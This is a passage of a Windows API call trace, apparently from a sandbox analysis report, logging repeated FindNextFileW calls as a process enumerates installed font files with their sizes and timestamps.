lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e09b78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x24428, dwReserved0=0x0, dwReserved1=0x0, cFileName="GOTHICI.TTF", cAlternateFileName="")) returned 1 [0232.236] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e09b78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GOUDOS.TTF", cAlternateFileName="")) returned 1 [0232.236] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e09b78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1436c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GOUDOSB.TTF", cAlternateFileName="")) returned 1 [0232.242] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x885bb26a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x885bb26a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13998, dwReserved0=0x0, dwReserved1=0x0, cFileName="GOUDOSI.TTF", cAlternateFileName="")) returned 1 [0232.242] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88c72585, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88c72585, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89690720, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xda94, dwReserved0=0x0, dwReserved1=0x0, cFileName="GOUDYSTO.TTF", cAlternateFileName="")) returned 1 [0232.242] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="HARLOWSI.TTF", cAlternateFileName="")) returned 1 [0232.242] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x889e7568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x889e7568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11328, dwReserved0=0x0, dwReserved1=0x0, cFileName="HARNGTON.TTF", cAlternateFileName="")) returned 1 [0232.242] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86e2fdc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86e2fdc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1a878, dwReserved0=0x0, dwReserved1=0x0, cFileName="HATTEN.TTF", cAlternateFileName="")) returned 1 [0232.242] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="HTOWERT.TTF", cAlternateFileName="")) returned 1 [0232.243] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x889e7568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x889e7568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x123d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HTOWERTI.TTF", cAlternateFileName="")) returned 1 [0232.243] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x889e7568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x889e7568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xec48, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMPRISHA.TTF", cAlternateFileName="")) returned 1 [0232.243] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x889e7568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x889e7568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8936f68c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x124d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFROMAN.TTF", cAlternateFileName="")) returned 1 [0232.243] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x889e7568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x889e7568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8936f68c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x20514, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITCBLKAD.TTF", cAlternateFileName="")) returned 1 [0232.243] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x889e7568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x889e7568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8936f68c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITCEDSCR.TTF", cAlternateFileName="")) returned 1 [0232.243] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8936f68c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe940, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITCKRIST.TTF", cAlternateFileName="")) returned 1 [0232.243] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8936f68c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11078, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOKERMAN.TTF", cAlternateFileName="")) returned 1 [0232.243] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUICE___.TTF", cAlternateFileName="")) returned 1 [0232.244] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8936f68c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KUNSTLER.TTF", cAlternateFileName="")) returned 1 [0232.244] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8936f68c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaf18, dwReserved0=0x0, dwReserved1=0x0, cFileName="LATINWD.TTF", cAlternateFileName="")) returned 1 [0232.244] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x894a08cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1145c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LBRITE.TTF", cAlternateFileName="")) returned 1 [0232.244] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x894a08cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x104a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LBRITED.TTF", cAlternateFileName="")) returned 1 [0232.244] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8936f68c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11720, dwReserved0=0x0, dwReserved1=0x0, cFileName="LBRITEDI.TTF", cAlternateFileName="")) returned 1 [0232.245] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88c79ac7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88c79ac7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11558, dwReserved0=0x0, dwReserved1=0x0, cFileName="LBRITEI.TTF", cAlternateFileName="")) returned 1 [0232.245] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86e2fdc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86e2fdc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86ff9a7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd8a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LCALLIG.TTF", cAlternateFileName="")) returned 1 [0232.245] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEELAWAD.TTF", cAlternateFileName="")) returned 1 [0232.245] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16e8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEELAWDB.TTF", cAlternateFileName="")) returned 1 [0232.245] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8829a0da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LFAX.TTF", cAlternateFileName="")) returned 1 [0232.246] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf294, dwReserved0=0x0, dwReserved1=0x0, cFileName="LFAXD.TTF", cAlternateFileName="")) returned 1 [0232.246] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11730, dwReserved0=0x0, dwReserved1=0x0, cFileName="LFAXDI.TTF", cAlternateFileName="")) returned 1 [0232.246] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1075c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LFAXI.TTF", cAlternateFileName="")) returned 1 [0232.247] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c86544, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf414, dwReserved0=0x0, dwReserved1=0x0, cFileName="LHANDW.TTF", cAlternateFileName="")) returned 1 [0232.247] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="LSANS.TTF", cAlternateFileName="")) returned 1 [0232.247] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c86544, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xea48, dwReserved0=0x0, dwReserved1=0x0, cFileName="LSANSD.TTF", cAlternateFileName="")) returned 1 [0232.247] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c86544, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10310, dwReserved0=0x0, dwReserved1=0x0, cFileName="LSANSDI.TTF", cAlternateFileName="")) returned 1 [0232.247] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c86544, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xff84, dwReserved0=0x0, dwReserved1=0x0, cFileName="LSANSI.TTF", cAlternateFileName="")) returned 1 [0232.247] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c86544, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LTYPE.TTF", cAlternateFileName="")) returned 1 [0232.248] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89ddda54, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xce84, dwReserved0=0x0, dwReserved1=0x0, cFileName="LTYPEB.TTF", cAlternateFileName="")) returned 1 [0232.425] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89ddda54, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LTYPEBO.TTF", cAlternateFileName="")) returned 1 [0232.425] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89ddda54, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xff84, dwReserved0=0x0, dwReserved1=0x0, cFileName="LTYPEO.TTF", cAlternateFileName="")) returned 1 [0232.425] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xff04, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAGNETOB.TTF", cAlternateFileName="")) returned 1 [0232.426] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89ddda54, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xefc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAIAN.TTF", cAlternateFileName="")) returned 1 [0232.426] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89ddda54, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc860, dwReserved0=0x0, dwReserved1=0x0, cFileName="MATURASC.TTF", cAlternateFileName="")) returned 1 [0232.426] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89ddda54, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ece4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MISTRAL.TTF", cAlternateFileName="")) returned 1 [0232.426] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf494, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOD20.TTF", cAlternateFileName="")) returned 1 [0232.426] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88594fb1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88594fb1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1450d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSJH.TTC", cAlternateFileName="")) returned 1 [0232.426] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88594fb1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88594fb1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8909a9cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdadb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSJHBD.TTC", cAlternateFileName="")) returned 1 [0232.426] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x885bb26a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x885bb26a, ftLastAccessTime.dwHighDateTime=0x1d327e7, 